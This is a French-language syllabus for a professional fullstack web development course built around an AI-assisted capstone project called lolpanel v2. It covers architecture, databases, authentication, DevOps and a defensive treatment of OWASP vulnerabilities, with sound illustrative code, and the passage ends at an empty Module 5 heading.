PROGRAMME INTENSIF · NIVEAU PROFESSIONNEL

Formation Fullstack Pro

De vibecoder à architecte. Concevoir, architecturer, sécuriser et déployer de grosses applications web de A à Z, en pilotant l'IA sans jamais perdre le contrôle.

Projet fil rouge : **lolpanel v2** (UI builder + conversion de code)
Stack : TypeScript · Next.js · PostgreSQL · Prisma · Zod · Redis · Docker · GitHub Actions · Vercel · Railway · AWS
Durée indicative : 24 à 30 semaines à rythme intensif

Sommaire

1. **Mode d'emploi** : méthode, rythme, règles du vibecoding pro
2. **Module 0** : Les modèles mentaux (HTTP, navigateur, runtime, TypeScript, Git)
3. **Module 1** : Architecture front-end avancée
4. **Module 2** : Ingénierie back-end et APIs
5. **Module 3** : Bases de données et stockage
6. **Module 4** : DevOps, sécurité et déploiement
7. **Module 5** : Architecture système et passage à l'échelle (synthèse)
8. **Feuille de route lolpanel v2** : les jalons semaine par semaine
9. **Cours n°1** : La frontière de confiance et le cycle de vie d'une requête
10. **Exercice d'architecture n°1** : Concevoir lolpanel v2 sur papier
11. **Annexes** : checklists, prompts types, ressources officielles

Mode d'emploi

Le principe : l'IA écrit le code, toi tu prends les décisions. Ton vrai travail, c'est de savoir répondre à quatre questions pour chaque fonctionnalité :

1. **Où** vit chaque morceau de logique (client, serveur, base, job en arrière-plan) ?
2. **Qui** a le droit de faire quoi, et où est-ce vérifié ?
3. **Où** vivent les données, et quelle est leur source de vérité ?
4. **Que se passe-t-il quand ça casse** (réseau coupé, base lente, utilisateur malveillant) ?

Si tu sais répondre à ces quatre questions, tu ne seras jamais bloqué, même sur du code que tu n'as pas tapé toi-même.

Le rythme d'un module

Étape	Ce que tu fais	Part du temps
1. Théorie	Lire les concepts du module + la doc officielle liée. Faire expliquer par l'IA tout ce qui reste flou, avec des exemples.	20 %
2. Exercice « à la main »	Coder une petite version *sans IA* (ou avec l'IA en mode prof uniquement). C'est ce qui ancre la compréhension.	20 %
3. Fil rouge	Construire la brique dans lolpanel en vibecoding, en suivant les règles ci-dessous.	45 %
4. Revue et défense	Expliquer ton architecture à voix haute (ou à l'IA en mode « examinateur sévère »), corriger les failles trouvées.	15 %

Les 7 règles du vibecoding pro

1. **Tu donnes le plan, l'IA écrit le code.** Ne demande jamais « fais-moi l'auth ». Demande plutôt : « Voici mon schéma, mes routes et mes règles d'accès. Implémente uniquement la route `POST /api/projects` en respectant ce contrat. »

2. **Le contrat avant le code.** Écris d'abord les types, les schémas Zod, le schéma de base et la liste des routes. L'IA remplit l'implémentation. Si le contrat est bon, l'IA a beaucoup moins de marge pour faire n'importe quoi.
3. **Des petits diffs, toujours relus.** Une fonctionnalité = un commit lisible. Si tu ne peux pas expliquer une ligne, l'IA doit te l'expliquer avant que tu l'acceptes.
4. **Un fichier `CLAUDE.md` / `AGENTS.md` par repo.** Conventions, structure des dossiers, interdits (« jamais de `any` », « toute entrée passe par Zod », « aucun accès Prisma dans les composants »). C'est la mémoire de ton architecture.
5. **Les tests sont le garde-fou.** Demande des tests avant ou avec la fonctionnalité. Un test qui échoue est le meilleur prompt de correction possible.
6. **Les zones à risque se relisent ligne par ligne** : authentification, permissions, paiements, SQL brut, upload de fichiers, variables d'environnement.
7. **Surveille les signes de dette technique** : logique dupliquée dans trois fichiers, `useEffect` qui charge des données alors qu'un Server Component suffit, `try/catch` qui avale les erreurs, dépendances ajoutées sans raison, types `any`.

Modèle de prompt « contrat » à réutiliser partout :

```
Contexte : [fichier CLAUDE.md + fichiers concernés]
Objectif : [une seule fonctionnalité, en une phrase]
Contrat :  [types / schéma Zod / signature / route + codes HTTP]
Règles d'accès : [qui peut appeler, quelle vérification de propriété]
Contraintes : [pas de nouvelle dépendance, pas de any, erreurs typées]
Livrable : le diff + les tests (cas OK + 401 + 403 + 404 + 422)
Avant de coder : liste ton plan en 5 lignes et les risques que tu vois.
```

Module 0 : Les modèles mentaux

Durée : 1 à 2 semaines · Le socle sans lequel tout le reste reste flou.

Concepts indispensables

HTTP EN PROFONDEUR

- Méthodes et **idempotence** : `GET`, `PUT`, `DELETE` sont idempotentes (les répéter donne le même état), `POST` non. Conséquence directe sur les retries.
- Codes de statut à connaître par cœur : 200, 201, 204, 301/302/307/308, 304, 400, **401** (pas authentifié) ≠ **403** (authentifié mais pas autorisé), 404, 409 (conflit), 422 (validation), 429 (rate limit), 500, 502, 503.
- En-têtes clés : `Cache-Control`, `ETag`, `Set-Cookie`, `Authorization`, `Content-Type`, `Origin`.
- **CORS** : c'est le navigateur qui empêche un site A de lire les réponses d'un site B. CORS ne protège pas ton serveur : un script ou `curl` l'ignore complètement.

LE NAVIGATEUR

- Chaîne complète : DNS → TCP → TLS → requête HTTP → HTML → DOM + CSSOM → exécution JS → layout → paint.
- **Same-Origin Policy** : origine = protocole + domaine + port.
- Cookies : `HttpOnly` (illisible en JS), `Secure` (HTTPS uniquement), `SameSite=Lax/Strict/None` (envoi cross-site), `Domain`, `Path`, `Max-Age`.
- Stockages : cookies, `localStorage`, `sessionStorage`, IndexedDB. Ce qui est lisible en JS est volable par une faille XSS.

LE RUNTIME JAVASCRIPT

- Event loop, call stack, macrotasks et microtasks (Promises). Pourquoi un calcul lourd bloque toute l'interface ou tout le serveur.
- `async/await`, `Promise.all` (parallèle) contre `await` en boucle (séquentiel), `Promise.allSettled`.
- Node.js contre runtime Edge : sur l'Edge, pas de `fs`, API Web uniquement, temps d'exécution court, mais un démarrage très rapide et une exécution proche de l'utilisateur.

TYPESCRIPT AVANCÉ

- `strict: true`, generics, unions discriminées, type guards et narrowing, `satisfies`, `as const`, types utilitaires (`Pick`, `Omit`, `Partial`, `Record`).
- Une seule source de vérité pour les types : `z.infer<typeof schema>` ou les types générés par Prisma.

```
// Union discriminée : impossible d'oublier un cas
type ExportResult =
  | { status: "ok"; url: string }
  | { status: "error"; code: "TOO_LARGE" | "INVALID_TREE"; message: string };

function handle(r: ExportResult) {
  switch (r.status) {
    case "ok": return r.url;          // TS sait que url existe ici
    case "error": return r.message;   // et ici que message existe
  }
}
```

GIT PROFESSIONNEL

- Branches par fonctionnalité, pull requests, commits atomiques avec des messages clairs (*Conventional Commits* : `feat:`, `fix:`, `refactor:`).
- `rebase` contre `merge`, `git bisect` pour retrouver le commit qui a cassé quelque chose, `git revert` pour annuler proprement.

Utiliser l'IA sans dette

- Ouvre l'onglet Network des DevTools sur lolpanel et demande à l'IA d'expliquer chaque requête : méthode, en-têtes, cookies, cache. Tu dois pouvoir lire n'importe quelle requête seul.
- Mode prof : « Ne me donne pas le code. Pose-moi des questions jusqu'à ce que je trouve la réponse moi-même. »

Fil rouge lolpanel

☐ Migrer lolpanel en TypeScript `strict: true`, zéro `any`.
☐ Installer ESLint + Prettier + un hook de pre-commit.
☐ Écrire le `CLAUDE.md` du projet : stack, structure des dossiers, conventions, interdits.
☐ Dessiner le schéma actuel de lolpanel : quels fichiers tournent côté client, lesquels côté serveur.

Module 1 : Architecture front-end avancée

Durée : 4 semaines · Rendu, état, routage, performance, sécurité client.

Concepts indispensables

LES MODES DE RENDU

Mode	Quand le HTML est produit	À utiliser pour	Piège
CSR	Dans le navigateur, après le chargement du JS	Outils très interactifs derrière une connexion (ton éditeur)	SEO faible, écran vide au début
SSR	Sur le serveur, à chaque requête	Pages personnalisées (dashboard)	Coût serveur, latence si la base est lente
SSG	Au moment du build	Landing, docs, blog	Données figées jusqu'au prochain build
ISR / revalidation	Statique, régénéré après N secondes ou à la demande	Galerie publique de templates	Bien gérer l'invalidation
Streaming	Envoyé par morceaux avec `Suspense`	Pages avec une partie lente	Placer les frontières `Suspense` au bon endroit

HYDRATATION ET SERVER COMPONENTS

- **Hydratation** : React rattache les événements au HTML déjà rendu par le serveur. Ça coûte du JS et du CPU. Une *hydration mismatch* arrive quand le rendu serveur et le rendu client diffèrent (`Date.now()`, `Math.random()`, `window` pendant le rendu).
- **React Server Components** : ils s'exécutent seulement sur le serveur, n'envoient aucun JS au client, et peuvent lire la base directement.
- La frontière `"use client"` : tout ce qui est importé sous elle part dans le bundle client. **Règle :** le serveur par défaut, le client seulement pour l'interactivité (événements, état, effets, API navigateur).
- **Server Actions** : des fonctions serveur appelées depuis un formulaire ou un composant. Ce sont des endpoints publics : il faut y valider les entrées et vérifier les droits *exactement comme pour une route API*.

LES 4 TYPES D'ÉTAT (À NE JAMAIS MÉLANGER)

Type	Exemple lolpanel	Outil
État serveur	Liste des projets, contenu d'un projet	Fetch dans un Server Component, ou TanStack Query côté client
État d'URL	Filtre, onglet actif, élément sélectionné	`searchParams`, librairie `nuqs`
État UI global	Arbre de l'éditeur, undo/redo, thème	Zustand (petit, simple, sélecteurs)
État local	Un menu ouvert, un champ de saisie	`useState` / `useReducer`

> **Erreur classique :** copier l'état serveur dans Zustand ou Redux. Tu te retrouves avec deux sources de vérité désynchronisées. Le cache serveur reste dans TanStack Query ou dans le cache de Next.js.

ROUTAGE COMPLEXE (NEXT.JS APP ROUTER)

- Layouts imbriqués (un layout persiste entre les navigations), `loading.tsx`, `error.tsx`, `not-found.tsx`.
- Route groups `(marketing)` et `(app)` pour des layouts différents sans changer l'URL.
- Routes dynamiques `[id]`, catch-all `[...slug]`, parallel routes `@modal`, intercepting routes `(.)` pour des modales qui ont leur propre URL.
- `middleware.ts` : redirections rapides (non connecté → `/login`). Ce n'est **pas** une protection suffisante à lui seul : revérifie toujours au niveau des données.

PERFORMANCE

- **Core Web Vitals** : LCP (affichage du contenu principal, < 2,5 s), INP (réactivité, < 200 ms), CLS (stabilité visuelle, < 0,1).
- Code splitting avec `dynamic()` (charger l'éditeur Monaco seulement quand on en a besoin), `next/image`, `next/font`.
- Virtualisation des longues listes (TanStack Virtual), debounce des sauvegardes automatiques.
- Memoization seulement après avoir mesuré (React DevTools Profiler). Le React Compiler gère déjà beaucoup de cas.
- `@next/bundle-analyzer` pour voir ce qui grossit le bundle.

SÉCURITÉ CÔTÉ CLIENT

- **XSS** : React échappe le texte par défaut. Les dangers sont `dangerouslySetInnerHTML`, les URL `javascript:` dans `href`, et l'injection de HTML généré. Sanitize avec DOMPurify.
- **CSP** (Content Security Policy) : un en-tête qui limite d'où peuvent venir les scripts. C'est un filet de sécurité contre les XSS.
- Pour lolpanel, c'est crucial : **le code généré par les utilisateurs doit s'exécuter dans une `<iframe sandbox>`** sur une origine séparée, jamais dans ta page principale.
- Jamais de token d'authentification dans `localStorage`. Les variables `NEXT_PUBLIC_*` sont visibles par tout le monde.
- Le client n'est **jamais** une barrière de sécurité : un bouton caché ne protège rien.

ORGANISATION DU CODE

```
src/
  app/
    (marketing)/page.tsx            # landing en SSG
    (app)/dashboard/...             # zone connectée, SSR
    api/v1/...                      # API publique
  features/
    projects/
      components/   actions.ts   queries.ts   schemas.ts   service.ts
    editor/
      store.ts      components/  codegen/
    auth/
  lib/        # db.ts, env.ts, auth.ts, ratelimit.ts
  tests/
```

On découpe **par fonctionnalité**, pas par type de fichier. Tout ce qui concerne les projets est dans `features/projects`.

Utiliser l'IA sans dette

- Commence chaque demande de composant par : « Ce composant est-il Server ou Client ? Justifie avant de coder. »
- Interdis `useEffect` pour charger des données, sauf justification explicite.
- Audit régulier : « Liste ce qui part dans le bundle client de cette page et pourquoi. Propose ce qui peut repasser côté serveur. »
- Fais générer les tests de composants (Testing Library) et un test end-to-end Playwright pour le parcours principal.

Fil rouge lolpanel

- ☐ Restructurer en `(marketing)` (landing SSG) et `(app)` (dashboard SSR, protégé).
- ☐ Créer `/dashboard/projects/[id]/editor` : arbre de l'éditeur dans Zustand avec undo/redo, élément sélectionné dans l'URL.
- ☐ Modale de preview en intercepting route, rendu du code généré dans une `iframe sandbox`.
- ☐ Galerie publique de templates en ISR.
- ☐ Objectif chiffré : Lighthouse supérieur à 90 sur la landing, aucune hydration mismatch, éditeur chargé à la demande.

Module 2 : Ingénierie back-end et APIs

Durée : 5 semaines · Architecture en couches, REST/GraphQL, middlewares, authentification, autorisation, jobs.

Concepts indispensables

ARCHITECTURE EN COUCHES (LE MVC MODERNE)

```
Route / Server Action   →  parse HTTP, valide avec Zod, récupère la session
        ↓
Service                 →  logique métier, règles d'autorisation, transactions
        ↓
Repository / ORM        →  accès aux données (Prisma), rien d'autre
```

- Une route ne contient jamais de logique métier. Un service ne connaît pas HTTP (pas de `Request`, pas de `NextResponse`).
- Avantage : la même fonction `projectService.export()` est utilisée par l'interface, l'API publique et un job, avec les mêmes règles.
- Erreurs métier typées (`NotFoundError`, `ForbiddenError`, `ValidationError`) traduites en codes HTTP à un seul endroit.

```
// features/projects/service.ts
export async function getProject(actor: Actor, id: string) {
  const project = await db.project.findFirst({
    where: { id, OR: [{ ownerId: actor.userId },
                      { members: { some: { userId: actor.userId } } }] },
  });
  if (!project) throw new NotFoundError("project"); // 404, pas 403 : on ne révèle pas
l'existence
  return project;
}
```

REST BIEN FAIT

- Ressources au pluriel (`/projects`, `/projects/:id/versions`), verbes HTTP corrects, codes de statut précis.
- Pagination par **curseur** (`?cursor=…&limit=20`) plutôt que par offset (stable et rapide sur de grosses tables).
- Format d'erreur uniforme (RFC 9457, `application/problem+json`) : `{ type, title, status, detail }`.
- Versioning dès le départ (`/api/v1`) pour l'API publique.
- **Clés d'idempotence** (`Idempotency-Key`) pour les opérations qu'on ne veut pas exécuter deux fois (paiement, lancement d'export).
- Documentation **OpenAPI** générée depuis tes schémas Zod (`zod-openapi`).

GRAPHQL, TRPC OU SERVER ACTIONS ?

Option	Points forts	Quand l'utiliser
REST	Universel, cacheable, simple à documenter	API publique (exports lolpanel)
GraphQL	Le client choisit les champs, un seul endpoint	Beaucoup de clients différents avec des besoins variés. Attention au problème N+1 (DataLoader), à la complexité des requêtes et au cache.
tRPC	Typage de bout en bout sans générer de code	Front et back TypeScript dans le même repo
Server Actions	Zéro boilerplate, intégrées aux formulaires	Mutations internes de l'app Next.js

VALIDATION

Zod à **toutes** les frontières : body, query, params, en-têtes, webhooks entrants, réponses d'APIs tierces, variables d'environnement. Tout ce qui vient de l'extérieur est hostile tant qu'il n'est pas validé.

MIDDLEWARES

- Chaîne typique : request ID → logging → CORS → rate limiting → authentification → handler → gestion des erreurs.
- Rate limiting par IP pour les routes publiques et par utilisateur ou clé API pour les routes authentifiées (Upstash Ratelimit, algorithme sliding window).

AUTHENTIFICATION

Mécanisme	Principe	Verdict
Sessions	Cookie `HttpOnly` qui contient un ID aléatoire. La session est stockée en base ou dans Redis.	Par défaut pour une app web : révocable instantanément.
JWT	Token signé qui contient les infos, vérifié sans base.	Difficile à révoquer. Pour les échanges entre services ou des tokens très courts + refresh token.
OAuth 2.0 / OIDC	Connexion via Google/GitHub. Flow Authorization Code + PKCE, paramètre `state` anti-CSRF.	Utiliser une librairie (Auth.js, Better Auth), ne jamais le recoder à la main.
Clés API	Secret long, stocké *hashé* en base, préfixe visible (`lp_live_ab12…`).	Pour l'API publique lolpanel.

- Mots de passe : **argon2id** (ou bcrypt), jamais de hash rapide comme SHA-256. Mieux encore : magic links, OAuth, passkeys.
- 2FA (TOTP), régénération de l'ID de session à la connexion (contre la *session fixation*), expiration et révocation.

AUTORISATION (LÀ OÙ SONT LA PLUPART DES VRAIES FAILLES)

- **Authentification** = qui es-tu. **Autorisation** = as-tu le droit de faire *ça* sur *cette* ressource.
- RBAC (rôles `owner` / `editor` / `viewer`) + vérification de propriété **dans chaque requête** : `where: { id, ownerId: session.userId }` .
- **IDOR** : si changer `/projects/12` en `/projects/13` te montre le projet de quelqu'un d'autre, c'est une faille critique.

- **Mass assignment** : ne jamais passer `req.body` tel quel à `db.update()`. Sinon l'utilisateur peut envoyer `{ "role": "admin" }`.
- Centralise les règles dans une fonction `can(actor, action, resource)` testée unitairement.

ASYNCHRONE ET INTÉGRATIONS

- **Files de jobs** (Inngest, Trigger.dev, BullMQ + Redis) pour tout ce qui dure plus de quelques secondes : exports, emails, appels IA, génération de ZIP.
- Retries avec backoff exponentiel, jobs idempotents, dead-letter queue.
- **Webhooks entrants** (Stripe, GitHub) : vérifier la signature HMAC et dédupliquer par ID d'événement.
- **Webhooks sortants** : les signer pour que tes clients puissent vérifier qu'ils viennent bien de toi.

MICROSERVICES : SAVOIR NE PAS EN FAIRE

- Commence par un **monolithe modulaire** : un seul déploiement, des modules bien séparés (`features/*`) qui ne se parlent que par leurs services publics.
- On extrait un service quand une partie a des besoins vraiment différents : scaling (le moteur d'export), langage, équipe ou isolation de sécurité.
- Le coût des microservices : réseau qui tombe, cohérence à terme (*eventual consistency*), traçage distribué, déploiements multiples.
- Vocabulaire à connaître : API gateway, bus d'événements, pattern Saga, outbox pattern.

Utiliser l'IA sans dette

- Écris toi-même le schéma Zod et la signature du service, puis demande l'implémentation.
- Audit systématique : « Pour chaque route et Server Action, fais un tableau : qui peut l'appeler, quelle vérification de propriété, quels champs sont validés, quel rate limit. »
- Exige des tests d'intégration sur les cas d'échec (401, 403, 404, 409, 422, 429), pas seulement le cas où tout marche.
- Mode attaquant : « Tu es un pentesteur. Voici ma route. Trouve trois façons de l'abuser. »

Fil rouge lolpanel

- ☐ Auth email (magic link) + OAuth GitHub/Google, sessions en base.
- ☐ CRUD projets en architecture route → service → repository, avec erreurs typées.
- ☐ Partage de projet avec rôles `owner` / `editor` / `viewer` et invitations par email.
- ☐ Historique de versions (snapshot à chaque sauvegarde importante, restauration).
- ☐ API publique `GET /api/v1/projects/:id/export?format=react|html|vue|svelte` authentifiée par clé API hashée.
- ☐ Rate limiting par clé, quotas par plan.
- ☐ Exports lourds (ZIP multi-fichiers) dans une file de jobs + webhook sortant signé quand c'est prêt.
- ☐ Documentation OpenAPI publiée sur `/docs/api`.

Module 3 : Bases de données et stockage

Durée : 4 semaines · Modélisation, SQL, index, transactions, ORM, NoSQL, cache, BaaS.

Concepts indispensables

MODÉLISATION RELATIONNELLE

- Entités, relations **1-N** (un user a plusieurs projets), **N-N** via une table de jointure (`ProjectMember`).
- **Normalisation** jusqu'à la 3NF : chaque information à un seul endroit. Dénormaliser seulement pour la performance, en connaissance de cause (compteurs, caches).
- Clés étrangères avec un `ON DELETE` réfléchi : `CASCADE` (supprimer les versions avec le projet), `RESTRICT` , `SET NULL` .
- **Contraintes** (`UNIQUE` , `CHECK` , `NOT NULL`) : la base est ta dernière ligne de défense, même si le code a un bug.
- Identifiants : UUID/cuid (non devinables, générables côté client) contre entiers auto-incrémentés (compacts mais énumérables).
- Colonnes `createdAt` / `updatedAt` , soft delete (`deletedAt`) quand il faut pouvoir restaurer.
- **Colonnes JSONB** dans PostgreSQL : parfaites pour l'arbre de composants de lolpanel (structure souple), tout en gardant le relationnel pour users, membres et permissions.

SQL QUE TU DOIS SAVOIR ÉCRIRE SANS IA

```
-- Les 10 derniers projets d'un utilisateur avec le nombre de versions
SELECT p.id, p.name, p.updated_at, COUNT(v.id) AS versions
FROM projects p
LEFT JOIN project_versions v ON v.project_id = p.id
WHERE p.owner_id = $1 AND p.deleted_at IS NULL
GROUP BY p.id
ORDER BY p.updated_at DESC
LIMIT 10;
```

- `JOIN` (inner, left), `GROUP BY` / `HAVING` , sous-requêtes, **CTE** (`WITH`), **window functions** (`ROW_NUMBER() OVER (PARTITION BY …)`), `UPSERT` (`ON CONFLICT`).
- Requêtes paramétrées (`$1`) : **jamais** de concaténation de chaînes, c'est ce qui crée les injections SQL.

INDEX ET PERFORMANCE

- Un index B-tree accélère la recherche mais ralentit les écritures et prend de la place.
- Indexer les colonnes de `WHERE` , de `JOIN` et d' `ORDER BY` . Index composites : l'ordre des colonnes compte (`(owner_id, updated_at)` sert `WHERE owner_id = … ORDER BY updated_at`).
- Index partiels (`WHERE deleted_at IS NULL`), index GIN pour JSONB et la recherche plein texte.
- `EXPLAIN ANALYZE` : savoir repérer un *Seq Scan* sur une grosse table.
- Le **problème N+1** : 1 requête pour la liste puis 1 requête par élément. On le corrige avec `include` / `select` ou un `JOIN` .

TRANSACTIONS ET CONCURRENCE

- **ACID**. Une transaction = tout ou rien (créer le projet + le membre owner + la première version).
- Niveaux d'isolation (Read Committed par défaut sur PostgreSQL), conditions de course, verrous.

- **Verrouillage optimiste** pour l'éditeur : colonne `version`, et la sauvegarde échoue en 409 si quelqu'un a modifié entre-temps.

ORM ET ODM

- **Prisma** : schéma déclaratif, migrations, client typé. Connais `select` contre `include`, `$transaction`, et quand descendre en SQL brut (`$queryRaw` avec template tagué, donc paramétré).
- **Drizzle** : alternative plus proche du SQL, très légère. Bon à connaître.
- **Mongoose** (MongoDB) : schémas, validation, `populate`.
- **Migrations** : versionnées dans Git, jamais de modification manuelle en production. Migrations sans downtime : ajouter la colonne (nullable) → remplir → basculer le code → contrainte → supprimer l'ancienne.
- Pooling de connexions en serverless (PgBouncer, Prisma Accelerate, Neon/Supabase pooler) : sinon chaque fonction ouvre sa connexion et la base sature.

RELATIONNEL OU NON RELATIONNEL ?

Base	Modèle	Excellente pour	Dans lolpanel
PostgreSQL	Tables + JSONB	Données liées, intégrité, requêtes complexes	Source de vérité : users, projets, membres, versions, clés API
MySQL	Tables	Même famille, très répandu	Alternative à connaître
MongoDB	Documents	Données hétérogènes, peu de relations	Possible pour les arbres, mais JSONB suffit
Redis	Clé-valeur en mémoire	Cache, rate limit, sessions, files, pub/sub	Rate limiting, cache des exports, verrous

> **Règle par défaut :** PostgreSQL pour la vérité, Redis pour la vitesse. Un autre type de base seulement si un besoin précis le justifie.

CACHE

- Pattern *cache-aside* : lire le cache → sinon lire la base → écrire dans le cache avec un TTL.
- Le problème le plus dur, c'est l'invalidation. Clés versionnées (`export:{projectId}:{version}:{format}`) : quand le projet change, la clé change toute seule.
- Couches de cache : navigateur, CDN, cache Next.js (`revalidateTag`), Redis, base.

STOCKAGE DE FICHIERS ET BAAS

- Les fichiers (images uploadées, ZIP d'export) vont dans un object storage (S3, Cloudflare R2, Supabase Storage, Vercel Blob), **jamais** dans la base. La base stocke seulement la clé du fichier.
- Upload direct par **URL pré-signée** : le navigateur envoie vers S3 sans passer par ton serveur. Vérifier type, taille et propriétaire.
- **Supabase** : PostgreSQL + Auth + Storage + Realtime. Sa sécurité repose sur la **Row Level Security** (RLS). Sans politique RLS, la clé `anon` publique donne accès à toute la table.
- **Firebase** : Firestore (NoSQL) + Auth. La sécurité passe par les *Security Rules*. Mêmes pièges.

```
-- Supabase : un utilisateur ne voit que ses projets
alter table projects enable row level security;
create policy "owner can read" on projects
  for select using (auth.uid() = owner_id);
```

Utiliser l'IA sans dette

- Conçois le schéma **toi-même** (diagramme entité-relation), puis demande à l'IA de le critiquer : index manquants, contraintes, cas limites.
- Pour chaque requête lente, donne à l'IA le résultat d'`EXPLAIN ANALYZE`, pas juste « c'est lent ».
- Relis toujours le fichier de migration SQL généré avant de l'appliquer. Une migration qui supprime une colonne ne se rattrape pas.
- Demande un *seed* réaliste (10 000 projets) pour tester les performances.

Fil rouge lolpanel

- ☐ Schéma Prisma complet : `User`, `Account`, `Session`, `Project`, `ProjectMember`, `ProjectVersion`, `ApiKey`, `ExportJob`, `AuditLog`.
- ☐ Arbre de composants en JSONB, validé par Zod avant chaque écriture.
- ☐ Sauvegarde automatique avec verrouillage optimiste (409 en cas de conflit).
- ☐ Index justifiés par `EXPLAIN ANALYZE` sur le dashboard et la liste des versions.
- ☐ Cache Redis des exports par clé versionnée.
- ☐ Upload d'assets par URL pré-signée vers R2 ou S3.
- ☐ Bonus : reproduire une partie sur Supabase avec RLS pour comparer les deux approches.

Module 4 : DevOps, sécurité et déploiement

Durée : 4 semaines · Environnements, Docker, CI/CD, OWASP, monitoring, hébergement.

Concepts indispensables

ENVIRONNEMENTS ET VARIABLES D'ENVIRONNEMENT

- Trois environnements minimum : **local**, **preview/staging** (une URL par PR), **production**. Chacun a sa propre base et ses propres secrets.
- `.env` dans `.gitignore`, toujours. Un `.env.example` sans valeurs est commité.
- Validation au démarrage avec Zod (`lib/env.ts`) : si une variable manque, l'app refuse de démarrer au lieu de planter plus tard.
- Secrets dans le gestionnaire de l'hébergeur (Vercel, Railway, AWS Secrets Manager). Si un secret a fuité sur GitHub : on le **révoque** d'abord, puis on nettoie l'historique.

```
// lib/env.ts
import { z } from "zod";
export const env = z.object({
  DATABASE_URL: z.string().url(),
  AUTH_SECRET: z.string().min(32),
  UPSTASH_REDIS_REST_URL: z.string().url(),
  NODE_ENV: z.enum(["development", "test", "production"]),
}).parse(process.env);
```

DOCKER (LES BASES SOLIDES)

- Image (le modèle) contre conteneur (l'instance qui tourne). Layers et cache : copier `package.json` avant le code pour ne pas réinstaller à chaque changement.
- Builds multi-étapes pour des images légères, utilisateur non-root, `.dockerignore`.
- `docker compose` pour lancer en local PostgreSQL + Redis + ton app avec une seule commande.

```
# docker-compose.yml (dev)
services:
  db:
    image: postgres:17
    environment: { POSTGRES_PASSWORD: dev, POSTGRES_DB: lolpanel }
    ports: ["5432:5432"]
    volumes: [pgdata:/var/lib/postgresql/data]
  redis:
    image: redis:7
    ports: ["6379:6379"]
volumes: { pgdata: {} }
```

CI/CD

- **CI** à chaque PR : install → lint → typecheck → tests unitaires → tests d'intégration (base dans un conteneur) → build → tests E2E Playwright sur la preview.
- **CD** : merge sur `main` → migrations → déploiement en production. Rollback en un clic.
- Protection de branche : PR obligatoire, CI verte obligatoire. Dependabot ou Renovate pour les mises à jour de dépendances.
- Feature flags pour livrer du code désactivé et l'activer progressivement.

```
# .github/workflows/ci.yml (extrait)
jobs:
  ci:
    runs-on: ubuntu-latest
    services:
      postgres: { image: postgres:17, env: { POSTGRES_PASSWORD: test }, ports: ["5432:5432"] }
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 22, cache: npm }
      - run: npm ci
      - run: npm run lint && npm run typecheck
      - run: npx prisma migrate deploy && npm test
        env: { DATABASE_URL: postgresql://postgres:test@localhost:5432/postgres }
      - run: npm run build
```

LES FAILLES MAJEURES (OWASP TOP 10) ET LEURS PARADES

Faille	Comment ça marche	Parade
Contrôle d'accès cassé / IDOR	Accéder à la ressource d'un autre en changeant un ID	Vérification de propriété dans chaque requête, tests 403/404
Injection SQL	Du SQL glissé dans une entrée concaténée	Requêtes paramétrées / ORM, jamais de concaténation
XSS	Du JS injecté qui s'exécute chez les autres utilisateurs	Échappement (React), DOMPurify, CSP, iframe sandbox pour le code utilisateur
CSRF	Un site tiers fait envoyer une requête avec les cookies de la victime	`SameSite=Lax`, vérification de l'en-tête `Origin`, tokens CSRF (les Server Actions vérifient l'origine)
SSRF	Ton serveur va chercher une URL fournie par l'utilisateur (« importer depuis une URL ») et atteint ton réseau interne	Liste d'hôtes autorisés, blocage des IP privées et des métadonnées cloud
Auth faible	Force brute, sessions qui n'expirent pas	Rate limit, argon2id, 2FA, rotation de session
Secrets exposés	Clé dans le repo ou dans `NEXT_PUBLIC_*`	Scan de secrets (gitleaks), variables serveur uniquement
Dépendances vulnérables / supply chain	Paquet npm compromis ou obsolète	`npm audit`, lockfile, peu de dépendances, vérifier ce que l'IA ajoute
Mauvaise configuration	Mode debug en prod, CORS `*` avec cookies, bucket S3 public	En-têtes de sécurité (HSTS, CSP, X-Content-Type-Options), revue de config
Upload dangereux	Fichier HTML/SVG malveillant servi depuis ton domaine	Vérifier type et taille, servir depuis un domaine séparé, `Content-Disposition`

MONITORING ET OBSERVABILITÉ

- **Erreurs** : Sentry (stack traces, release, utilisateur concerné).

- **Logs structurés** en JSON avec request ID (pino). Jamais de mots de passe, tokens ou données perso dans les logs.
- **Métriques** : latence p50/p95/p99, taux d'erreur, saturation (les « golden signals »).
- **Traces** : OpenTelemetry pour suivre une requête à travers l'API, la base et les jobs.
- Uptime monitoring + alertes. Analytics produit (PostHog) pour savoir ce que font les utilisateurs.
- **Sauvegardes** de la base, testées par une vraie restauration. Une sauvegarde jamais restaurée n'est pas une sauvegarde.

HÉBERGEMENT

Plateforme	Rôle idéal	À savoir
Vercel	Front Next.js, fonctions serverless, previews par PR	Pas fait pour les process longs ou les WebSockets persistants. Timeouts de fonctions.
Railway / Render / Fly.io	Workers de jobs, PostgreSQL, Redis, services Docker longue durée	Facturation à l'usage, simple
Neon / Supabase	PostgreSQL managé avec pooler	Branches de base par environnement (Neon)
AWS	Contrôle total à grande échelle	À connaître : IAM (moindre privilège), S3, CloudFront, Lambda, ECS/Fargate, RDS, SQS. Beaucoup plus complexe.
Cloudflare	DNS, CDN, WAF, R2, Workers	Protection DDoS et cache en bordure

> **Architecture cible lolpanel v2 :** Next.js sur Vercel · PostgreSQL sur Neon ou Railway · Redis sur Upstash · worker d'export dans un conteneur Docker sur Railway · fichiers sur R2/S3 · Sentry + logs structurés · GitHub Actions pour la CI.

Utiliser l'IA sans dette

- Fais générer Dockerfile et workflows CI, mais exige une explication de chaque ligne. Une CI que tu ne comprends pas finira cassée un jour de rush.
- Lance l'IA en mode audit de sécurité sur chaque PR sensible (le skill `/security-review` de Claude Code sert à ça), puis vérifie chaque point toi-même.
- Ne colle jamais un vrai secret dans un prompt. Utilise des valeurs factices.
- Quand quelque chose casse en production, donne à l'IA les logs et la trace Sentry, pas une description vague.

Fil rouge lolpanel

- ☐ `docker compose up` lance tout l'environnement local.
- ☐ `lib/env.ts` validé par Zod, `.env.example` à jour.
- ☐ CI GitHub Actions complète, branche `main` protégée, previews Vercel par PR.
- ☐ Worker d'export dockerisé déployé sur Railway, connecté à la file de jobs.
- ☐ En-têtes de sécurité + CSP, preview du code utilisateur dans un domaine sandbox séparé.
- ☐ Sentry branché, logs structurés, alerte si le taux d'erreur dépasse un seuil.

☐ Rapport d'audit : passer chaque ligne du tableau OWASP sur lolpanel et noter la parade en place.
☐ Exercice de crise : restaurer une sauvegarde de la base dans un environnement de test.

Module 5 : Architecture système et passage à l'échelle

Durée : 3 semaines · La synthèse qui fait de toi un architecte.

Concepts indispensables

